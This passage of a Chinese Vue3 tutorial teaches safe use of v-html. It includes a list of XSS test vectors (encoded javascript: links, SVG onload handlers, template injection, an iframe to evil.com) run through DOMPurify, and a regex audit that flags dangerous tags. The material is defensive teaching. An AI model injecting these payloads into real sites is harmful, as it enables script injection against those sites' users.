  `<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')">点击</a>`,
  
  // CSS注入
  `<div style="background:url(javascript:alert('XSS'))">`,
  `<style>body{background:url(javascript:alert('XSS'))}</style>`,
  
  // iframe注入
  `<iframe src="https://evil.com"></iframe>`,
  
  // SVG注入
  `<svg onload="alert('XSS')"></svg>`,
  `<svg><animate onbegin="alert('XSS')" attributeName="x" dur="1s"></svg>`,
  
  // 模板注入
  `<div>{{constructor.constructor('alert("XSS")')()}}</div>`
]

// 测试函数
function testSanitization(sanitizeFn) {
  console.log('=== XSS安全测试 ===')
  
  xssTestVectors.forEach((vector, index) => {
    const result = sanitizeFn(vector)
    const passed = !result.includes('alert') && 
                   !result.includes('javascript:') && 
                   !result.includes('onerror') &&
                   !result.includes('onload')
    
    console.log(
      `测试 #${index + 1}: ${passed ? '通过' : '失败'}`
    )
    if (!passed) {
      console.log(`  输入: ${vector.substring(0, 50)}...`)
      console.log(`  输出: ${result.substring(0, 50)}...`)
    }
  })
}

// 使用DOMPurify进行测试
import DOMPurify from 'dompurify'
testSanitization((html) => DOMPurify.sanitize(html))

7.4 代码审查要点

在代码审查中，当发现v-html的使用时，需要重点关注以下几点：

javascript 复制代码 
// 审查要点1：是否使用了DOMPurify或类似净化库
// 审查要点2：净化配置是否合理
// 审查要点3：数据来源是否可追溯
// 审查要点4：是否有性能问题（大量HTML渲染）
// 审查要点5：子组件是否被v-html破坏

// 建立团队规范：v-html的使用必须通过SafeHtml组件
// 禁止在组件中直接使用v-html指令

八、真实案例与反模式

8.1 反模式：直接渲染用户生成的内容

错误示例：

html 复制代码 
<template>
  <div class="comment-section">
    <div 
      v-for="comment in comments" 
      :key="comment.id"
      class="comment"
      v-html="comment.body"  <!-- 危险！ -->
    ></div>
  </div>
</template>

问题分析：

  • 直接将用户评论内容通过v-html渲染
  • 无任何HTML净化措施
  • 攻击者可以注入恶意脚本，影响所有访问该页面的用户

正确做法：

html 复制代码 
<template>
  <div class="comment-section">
    <SafeHtml 
      v-for="comment in comments"
      :key="comment.id"
      :html="comment.body"
      :sanitize-options="commentSanitizeOptions"
      wrapper-class="comment"
    />
  </div>
</template>

8.2 反模式：在v-html中尝试使用Vue指令

错误示例：

html 复制代码 
<template>
  <div v-html="`
    <button @click='handleClick'>点击我</button>
    <span v-if='show'>条件显示</span>
  `"></div>
</template>

问题分析：

  • v-html注入的内容不会被Vue编译
  • @click、v-if等Vue指令不会生效
  • 这会导致功能失效，且容易让开发者产生困惑

正确做法：

html 复制代码 
<template>
  <div>
    <!-- 使用Vue模板语法处理动态逻辑 -->
    <button @click="handleClick">点击我</button>
    <span v-if="show">条件显示</span>
    
    <!-- 只在需要渲染纯HTML时使用v-html -->
    <div v-html="staticHtmlContent"></div>
  </div>
</template>

8.3 反模式：忽略样式隔离

错误示例：

html 复制代码 
<template>
  <div class="my-component">
    <div v-html="externalContent"></div>
  </div>
</template>

<style scoped>
/* scoped样式不会应用到v-html渲染的内容 */
.my-component h1 {
  color: red;
}
</style>

问题分析：

  • scoped样式通过data-v-xxx属性选择器实现
  • v-html注入的内容不包含data-v-xxx属性
  • 因此scoped样式不会生效

正确做法：

html 复制代码 
<style scoped>
/* 使用:deep()深度选择器穿透样式隔离 */
.my-component :deep(h1) {
  color: red;
}

.my-component :deep(img) {
  max-width: 100%;
}

.my-component :deep(table) {
  border-collapse: collapse;
}
</style>

8.4 完整的企业级实践方案

下面是一个完整的企业级HTML内容渲染方案，涵盖了从输入到输出的全链路安全保障：

html 复制代码 
<!-- components/RichContentRenderer.vue -->
<template>
  <div 
    :class="['rich-content-renderer', theme]"
    ref="rendererRef"
  >
    <!-- 加载状态 -->
    <div v-if="loading" class="loading-placeholder">
      <div class="skeleton-line" v-for="n in 5" :key="n"></div>
    </div>
    
    <!-- 错误状态 -->
    <div v-else-if="error" class="error-state">
      <p>内容加载失败，请稍后重试</p>
      <button @click="retry">重新加载</button>
    </div>
    
    <!-- 正常渲染 -->
    <SafeHtml
      v-else
      :html="processedContent"
      :sanitize-options="resolvedSanitizeOptions"
      :wrapper-class="contentClass"
      :tag="contentTag"
    />
    
    <!-- 开发环境下的安全审计面板 -->
    <div v-if="isDev && auditLog.length" class="audit-panel">
      <details>
        <summary>安全审计日志 ({{ auditLog.length }}条)</summary>
        <ul>
          <li v-for="(log, i) in auditLog" :key="i">
            <span :class="log.level">{{ log.level }}</span>
            {{ log.message }}
          </li>
        </ul>
      </details>
    </div>
  </div>
</template>

<script setup>
import { ref, computed, watch, onMounted } from 'vue'
import DOMPurify from 'dompurify'
import SafeHtml from './SafeHtml.vue'

const props = defineProps({
  // 原始内容
  content: {
    type: String,
    default: ''
  },
  // 内容类型：rich-text | markdown | plain-text
  contentType: {
    type: String,
    default: 'rich-text',
    validator: (v) => ['rich-text', 'markdown', 'plain-text'].includes(v)
  },
  // 主题：light | dark
  theme: {
    type: String,
    default: 'light'
  },
  // 允许的标签白名单（覆盖默认）
  allowedTags: {
    type: Array,
    default: null
  },
  // 是否启用安全审计
  enableAudit: {
    type: Boolean,
    default: false
  },
  // 内容标签名
  contentTag: {
    type: String,
    default: 'div'
  },
  // 内容CSS类
  contentClass: {
    type: String,
    default: ''
  }
})

const emit = defineEmits(['content-processed', 'security-warning', 'error'])

const loading = ref(false)
const error = ref(false)
const auditLog = ref([])
const isDev = import.meta.env.DEV

// 根据内容类型获取净化配置
const contentSanitizeConfigs = {
  'rich-text': {
    ALLOWED_TAGS: [
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'p', 'br', 'hr', 'pre', 'code', 'blockquote',
      'strong', 'b', 'em', 'i', 'u', 's', 'del',
      'ul', 'ol', 'li', 'a', 'img',
      'table', 'thead', 'tbody', 'tr', 'th', 'td',
      'div', 'span', 'figure', 'figcaption',
      'video', 'audio', 'source'
    ],
    ALLOWED_ATTR: [
      'href', 'src', 'alt', 'title', 'class', 'id',
      'width', 'height', 'style',
      'target', 'rel', 'colspan', 'rowspan'
    ]
  },
  'markdown': {
    ALLOWED_TAGS: [
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'p', 'br', 'hr', 'pre', 'code',
      'strong', 'b', 'em', 'i', 'del', 's',
      'ul', 'ol', 'li', 'blockquote',
      'a', 'img', 'table', 'thead', 'tbody', 'tr', 'th', 'td',
      'div', 'span'
    ],
    ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class', 'id', 'target', 'rel']
  },
  'plain-text': {
    ALLOWED_TAGS: ['br'],
    ALLOWED_ATTR: []
  }
}

const resolvedSanitizeOptions = computed(() => {
  const baseConfig = contentSanitizeConfigs[props.contentType] || contentSanitizeConfigs['rich-text']
  
  if (props.allowedTags) {
    return { ...baseConfig, ALLOWED_TAGS: props.allowedTags }
  }
  
  return baseConfig
})

// 处理内容（净化 + 审计）
const processedContent = computed(() => {
  if (!props.content) return ''
  
  const raw = props.content
  
  // 安全审计：检测原始内容中的危险模式
  if (props.enableAudit) {
    auditLog.value = []
    performAudit(raw)
  }
  
  // 净化内容
  const sanitized = DOMPurify.sanitize(raw, resolvedSanitizeOptions.value)
  
  // 对比净化前后的差异
  if (props.enableAudit && raw !== sanitized) {
    auditLog.value.push({
      level: 'warning',
      message: '内容已被净化，部分不安全内容被移除'
    })
  }
  
  emit('content-processed', {
    originalLength: raw.length,
    processedLength: sanitized.length,
    wasModified: raw !== sanitized
  })
  
  return sanitized
})

// 安全审计函数
function performAudit(html) {
  const patterns = [
    { regex: /<script[\s>]/gi, level: 'danger', message: '检测到script标签' },
    { regex: /<iframe[\s>]/gi, level: 'danger', message: '检测到iframe标签' },
    { regex: /\bon\w+\s*=/gi, level: 'danger', message: '检测到事件处理器' },
    { regex: /javascript\s*:/gi, level: 'danger', message: '检测到javascript:协议' },
    { regex: /<object[\s>]/gi, level: 'danger', message: '检测到object标签' },
    { regex: /<embed[\s>]/gi, level: 'danger', message: '检测到embed标签' },
    { regex: /<link[\s>]/gi, level: 'warning', message: '检测到link标签' },
    { regex: /<meta[\s>]/gi, level: 'warning', message: '检测到meta标签' },
    { regex: /<style[\s>]/gi, level: 'warning', message: '检测到style标签' },
    { regex: /<form[\s>]/gi, level: 'warning', message: '检测到form标签' }
  ]
  
  patterns.forEach(({ regex, level, message }) => {
    if (regex.test(html)) {
      auditLog.value.push({ level, message })
      if (level === 'danger') {
        emit('security-warning', { message, html })
      }
    }
  })
}

function retry() {
  error.value = false
  loading.value = false
}

// 暴露方法给父组件
defineExpose({
  retry,
  getAuditLog: () => auditLog.value
})
</script>

<style scoped>
.rich-content-renderer {
  position: relative;
}

.loading-placeholder .skeleton-line {
  height: 16px;
  background: linear-gradient(90deg, #f0f0f0 25%, #e0e0e0 50%, #f0f0f0 75%);
  background-size: 200% 100%;
  animation: shimmer 1.5s infinite;
  margin-bottom: 8px;
  border-radius: 4px;
}

.loading-placeholder .skeleton-line:nth-child(2) { width: 90%; }
.loading-placeholder .skeleton-line:nth-child(3) { width: 80%; }
.loading-placeholder .skeleton-line:nth-child(4) { width: 85%; }
.loading-placeholder .skeleton-line:nth-child(5) { width: 70%; }

@keyframes shimmer {
  0% { background-position: -200% 0; }
  100% { background-position: 200% 0; }
}

.error-state {
  text-align: center;
  padding: 40px 20px;
  color: #999;
}

.error-state button {
  margin-top: 12px;
  padding: 8px 24px;
  background: #409eff;
  color: white;
  border: none;
  border-radius: 4px;
  cursor: pointer;
}

.audit-panel {
  margin-top: 16px;
  padding: 12px;
  background: #fff3cd;
  border: 1px solid #ffc107;
  border-radius: 4px;
  font-size: 12px;
}

.audit-panel .danger {
  color: #dc3545;
  font-weight: bold;
}

.audit-panel .warning {
  color: #ffc107;
  font-weight: bold;
}

/* 暗色主题 */
.rich-content-renderer.dark {
  color: #e0e0e0;
}

.rich-content-renderer.dark :deep(a) {
  color: #64b5f6;
}

.rich-content-renderer.dark :deep(blockquote) {
  border-left-color: #64b5f6;
  color: #aaa;
}

.rich-content-renderer.dark :deep(pre) {
  background: #1e1e1e;
}

.rich-content-renderer.dark :deep(code) {
  background: #2d2d2d;
}
</style>

九、总结

v-html是Vue3中一个强大但需要谨慎使用的指令。它为我们提供了直接操作innerHTML的能力，解决了文本插值无法渲染HTML内容的痛点，但同时也带来了不可忽视的安全风险。

核心要点回顾：

  1. 理解本质 ：v-html本质上是对element.innerHTML的封装，它绕过了Vue的虚拟DOM，直接由浏览器解析HTML字符串。

  2. 明确边界 ：v-html的内容不会经过Vue的模板编译，因此其中的Vue指令和组件标签不会生效，scoped样式也无法穿透。

  3. 安全第一 ：永远不要直接将用户输入的数据通过v-html渲染。始终使用DOMPurify等成熟的HTML净化库对内容进行清洗。

  4. 白名单策略：采用白名单方式配置允许的HTML标签和属性，而非黑名单方式。根据实际业务场景设定最小权限。

  5. 封装复用：项目中应封装统一的SafeHtml组件，集中管理HTML净化逻辑，避免在多个地方重复编写净化代码。

  6. 性能关注 ：v-html的更新会触发浏览器的HTML解析和渲染管线，对于大量或频繁更新的HTML内容，需要考虑虚拟滚动、缓存等优化策略。

  7. 持续审计：在开发环境中启用安全审计功能，及时发现和告警潜在的XSS风险，建立完善的安全测试流程。

学习路径建议：

  • 初学者：掌握v-html的基本用法和{``{ }}的区别，了解XSS的基本概念
  • 中级开发者：熟练使用DOMPurify进行内容净化，能封装SafeHtml组件
  • 高级开发者：深入理解v-html与虚拟DOM的交互，能在SSR场景下正确处理HTML渲染，建立完整的安全防护体系

在Vue3的开发实践中，v-html是一个不可回避的话题。只有正确理解它的工作原理，充分认识其安全风险，并采取有效的防护措施，才能真正发挥它的价值，构建出既灵活又安全的Web应用。记住：安全不是可选功能，而是基本要求 。每一次使用v-html时，请务必问自己：这个内容安全吗？我是否已经做了足够的净化处理？

本文详细介绍了Vue3中v-html指令的使用方法、工作原理、安全风险及防护措施。通过掌握这些知识，你可以在实际项目中更加安全高效地使用v-html，为用户提供更好的内容展示体验。

相关推荐
IT_陈寒1 小时前
Redis的LRU淘汰策略坑了我一整天
前端·人工智能·后端
计算机魔术师1 小时前
砍半价格、参数再涨，国产旗舰追到 Opus 鼻尖了
前端
特立独行的猫A1 小时前
10 MB 的桌面 AI 客户端：用仓颉 + 系统 WebView 替代 Electron
前端·harmonyos
修炼的dance2 小时前
白底图存JPG，sharp开mozjpeg背景杂点少近三成
前端
anOnion3 小时前
构建无障碍组件之Grid Pattern
前端·html·交互设计
乔旭伟3 小时前
Vben3 中后台表格封装实战：useVbenVxeGrid 的全局收敛与七个坑
前端·anti-design-vue·1024程序员节
鶴哥只手遮天3 小时前
jQuery 4.0 源码架构与工程实践-第 10 章 尺寸、几何与显隐
前端·javascript·jquery
Mia_墨黎3 小时前
2026 Windows 11 终端美化完全指南
前端·后端
阿文和她的Key3 小时前
PHP2Shell事故四层拆解：AI找洞是小时级，披露协调还是邮件级
网络·人工智能·架构·php
热门推荐
01国内可直接用、免费额度/永久免费的大模型API清单（含 SiliconFlow、火山、阿里、智谱、百度、Kimi、DeepSeek、DMXAPI 等）02如何新建文件夹？ 电脑新建文件夹的4种方法03GitHub 镜像站点04历年考研数学一、数学二、数学三真题试卷及答案PDF05几个好用的ip纯净度检测网站06苹果iPA游戏软件资源下载网站07ai安全工具:CyberStrikeAI安装部署与使用08昇腾910B系列芯片完全指南：四款型号对比、服务器选型与大模型部署实战09乙二醇水溶液物性参数10「全语录+省流版」邵艾伦 × 孙宇晨：聊风口、聊个人IP、聊年轻人如何抓住 AI 时代的机会